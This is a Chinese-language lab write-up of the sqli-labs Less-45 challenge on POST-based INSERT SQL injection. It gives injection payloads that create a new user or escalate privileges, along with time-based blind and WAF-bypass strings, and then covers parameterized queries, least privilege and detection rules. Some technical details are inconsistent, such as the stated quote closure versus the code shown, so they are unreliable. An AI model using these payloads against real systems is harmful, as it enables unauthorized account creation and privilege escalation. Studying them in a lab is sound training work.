1. SQL注入实战:sqli-labs Less-45通关详解
在网络安全领域,SQL注入始终是最常见且危害巨大的漏洞类型之一。今天我要分享的是sqli-labs第45关的实战过程,这个关卡展示了INSERT语句注入的典型场景。与普通SELECT注入不同,这类注入能直接修改数据库内容,危害等级更高。通过这个案例,你将掌握POST型INSERT注入的完整攻击链和防御思路。
2. 环境准备与漏洞分析
2.1 实验环境配置
我使用的是本地搭建的sqli-labs靶场环境,具体配置如下:
- Apache 2.4.53
- PHP 7.4.30
- MySQL 5.7.39
- sqli-labs最新版
确保靶机与攻击机处于同一网络段,建议使用虚拟机隔离环境。在Less-45关卡中,前端是一个标准的登录表单,包含username和password两个输入字段。
2.2 漏洞点定位
通过Burp Suite拦截登录请求,观察到POST数据格式:
code复制username=test&password=123456
初步测试发现password参数存在注入点。与传统注入不同,这里后端代码直接将用户输入拼接到INSERT语句中,典型漏洞代码如下:
php复制$sql = "INSERT INTO logins (username, password) VALUES ('".$_POST['username']."','".$_POST['password']."')";
3. 注入攻击实战
3.1 闭合方式分析
首先需要确定SQL语句的闭合方式。通过输入单引号测试:
code复制password=123'
返回的SQL错误显示闭合方式为单引号+括号,即')结构。这是PHP中常见的PDO预处理语句拼接方式。
3.2 INSERT注入Payload构造
利用INSERT语法特性,我们可以注入新的数据记录。完整攻击流程如下:
- 终止原INSERT语句:
sql复制-1');
- 插入新管理员账户:
sql复制insert into users(id,username,password) values(101,'heze101','love')#
组合后的完整Payload:
code复制password=-1');insert into users(id,username,password) values(101,'heze101','love')#
关键技巧:使用负值(-1)确保原INSERT失败,避免干扰后续操作。这在修改型注入中尤为重要。
3.3 结果验证
虽然页面显示"Login failed",但通过MySQL客户端查询确认新用户已创建:
sql复制SELECT * FROM users WHERE username='heze101';
使用新凭证成功登录后,可见完整用户控制面板,证明注入完全成功。
4. 高级攻击技巧
4.1 多语句执行利用
某些配置下可以执行多条SQL语句,尝试分号分隔:
code复制password=123'; UPDATE users SET is_admin=1 WHERE id=1;--
注意:MySQL的multi_query配置需开启,默认情况下可能不支持。
4.2 时间盲注技术
当无回显时,可使用基于时间的注入:
code复制password=123'); IF(1=1,SLEEP(5),0)#
通过响应延迟判断条件真假,适用于日志型INSERT注入。
4.3 防御绕过技巧
应对WAF时可尝试:
- 十六进制编码:
0x68657a65313031代替字符串 - 注释拆分:
ins/**/ert绕过关键字检测 - 非常规空白符:
%09替代空格
5. 漏洞修复方案
5.1 参数化查询
PHP中的正确实现方式:
php复制$stmt = $pdo->prepare("INSERT INTO logins (username, password) VALUES (?, ?)");
$stmt->execute([$_POST['username'], $_POST['password']]);
5.2 输入验证
严格的类型检查:
php复制if (!preg_match('/^[a-zA-Z0-9]{6,20}$/', $_POST['username'])) {
die('Invalid username format');
}
5.3 最小权限原则
数据库用户只赋予必要权限:
sql复制GRANT INSERT ON logins TO 'webuser'@'localhost';
6. 深度防御措施
6.1 日志监控
配置MySQL审计日志:
ini复制[mysqld]
log-error=/var/log/mysql/mysql-error.log
general_log_file=/var/log/mysql/mysql-query.log
general_log=1
6.2 WAF规则示例
ModSecurity规则片段:
code复制SecRule ARGS:password "@detectSQLi" \
"id:1005,phase:2,deny,status:403,msg:'SQLi Attempt'"
6.3 代码审计要点
检查所有数据库操作是否存在:
- 直接字符串拼接
- 动态SQL生成
- 未过滤的输入参数
- 错误信息泄露
7. 实战中的经验教训
-
闭合测试:遇到INSERT注入时,先确定闭合方式(', ", ), }等组合),不同框架差异很大
-
结果判断:修改型注入常无直接回显,需要通过查询验证或时间延迟确认
-
权限控制:测试时使用低权限数据库账户,避免误操作影响系统
-
日志清理:合法测试后务必删除测试数据:
sql复制DELETE FROM users WHERE username LIKE 'heze%';
- 盲注技巧:当页面无变化时,尝试:
- 插入特定标识数据后查询
- 通过时间函数判断
- 触发可观察的副作用(如发送邮件)
这个案例展示了INSERT注入的完整攻击链。实际渗透测试中,这类漏洞往往能直接获取系统控制权。防御的关键在于永远不要信任用户输入,采用参数化查询+最小权限的组合方案。